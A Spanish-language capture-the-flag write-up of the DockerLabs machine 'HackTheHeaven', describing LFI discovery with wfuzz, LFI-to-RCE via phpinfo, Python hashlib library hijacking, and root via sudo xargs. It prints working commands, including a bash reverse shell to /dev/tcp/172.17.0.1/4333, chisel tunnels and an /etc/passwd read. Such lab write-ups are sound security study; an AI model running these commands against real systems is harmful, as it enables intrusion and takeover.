romabri@home:~$

HackTheHeaven - DockerLabs

OS Dificultad Creator
Linux Difícil AlbertoMD3

Reconocimiento

Primero, observamos que el puerto 80 está abierto.

imagen

imagen

Al no encontrar nada relevante, realizamos una búsqueda con gobuster para descubrir posibles recursos adicionales. También encontramos un info.php, pero no revela información importante.

imagen

Descubrimos un archivo idol.html y procedemos a investigar su contenido.

imagen

La página web contiene un formulario y al hacer clic en el botón, nos redirige a otra página.

imagen

imagen

Esta página parece susceptible a un ataque LFI (Local File Inclusion). Sin embargo, necesitamos determinar el parámetro correcto para la inyección. Utilizamos wfuzz para hacer fuzzing y encontrar dicho parámetro.

wfuzz -c --hh=53 --hc=404 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://172.17.0.2/clouddev3lopmentfile.php?FUZZ=../../../../../../../../../../.../../../etc/passwd"

imagen

Encontramos que el parámetro es filename.

Ahora podemos leer archivos del sistema.

imagen

Escalada a RCE

Al investigar, descubrimos que podemos convertir un LFI en un RCE. Nos basamos en una guía de HACKTRICKS para lograrlo: LFI to RCE via phpinfo.

imagen

Vamos a comprobar si es posible.

imagen

En el script descargado de HACKTRICKS, añadimos nuestra reverse shell en la variable payload. Cambiamos el archivo objetivo a info.php.

imagen

imagen

Modificamos la URL en la sección correspondiente del script.

imagen

(Esta parte fue gracias a Mario :P me estaba volviendo loco con este script).

Ejecutamos el script.

imagen

imagen

¡Ya estamos dentro! Escalada de Privilegios

Hacemos un ls en el directorio home y encontramos lo siguiente:

imagen

Vemos el texto megustaelfallout, así que probamos acceder como xerosec usando esa contraseña, ya que es el propietario del archivo.

imagen

Efectivamente, ahora estamos dentro. Vamos al directorio tmp para ver el script.

imagen

Este es el script. Si observamos, importa hashlib directamente, lo que presenta una vulnerabilidad. Si creamos un archivo llamado hashlib.py en el mismo directorio con código Python, este se ejecutará primero debido a la función import.

Además, al hacer un sudo -l, vemos que podemos ejecutar ese script como mario.

imagen

Creamos un script que ejecute whoami. Si funciona, debería devolver mario.

Lo ejecutamos y…

imagen

imagen

Efectivamente, whoami devuelve mario. Ahora podemos hacer que ejecute una reverse shell para escalar a mario.

imagen

Esto nos da una reverse shell como mario.

imagen

En el escritorio de mario, vemos un archivo que dice lo siguiente:

imagen

Miramos los procesos en ejecución en la máquina.

imagen

Vemos que s4vitar está ejecutando algo en localhost:9999. Vamos a investigar.

imagen

Si hacemos un curl, vemos que nos pide un comando. Vamos a intentar concatenar lo que dice en el archivo del escritorio.

imagen

Podemos ejecutar comandos desde la terminal. Vamos a pasarle el típico one-liner para hacer una reverse shell:

bash -i >& /dev/tcp/172.17.0.1/4333 0>&1

Nos llega la conexión, pero no podemos conectarnos directamente. Vamos a descargar chisel en la máquina atacante

imagen

  • Maquina atacante
    ./chisel server --reverse 1234
    

    imagen

Nos quedamos a la escucha para el túnel que vamos a crear.

Usamos python para subir el archivo de chisel a la máquina víctima en la carpeta tmp.

  • Maquina Victima
    ./chisel client 172.17.0.1:8080 R:9999:127.0.0.1:9999
    

    imagen

Le decimos a chisel que el tráfico de localhost en el puerto 9999 lo redirija a la IP 172.17.0.1. Ahora, si ponemos en el navegador de la máquina atacante localhost:9999, veremos la página web de la máquina víctima de s4vitar.

imagen

Pasamos el one-liner de la reverse shell cambiando los & por %26 para que funcione:

bash -c "bash -i >%26 /dev/tcp/172.17.0.1/4333 0>%261"

imagen

Ahora hacemos un sudo -l.

imagen

Podemos ejecutar xargs como root. Usamos gtfobins para encontrar cómo escalar privilegios con xargs.

./xargs -a /dev/null sh -p

imagen

¡Nos convertimos en root!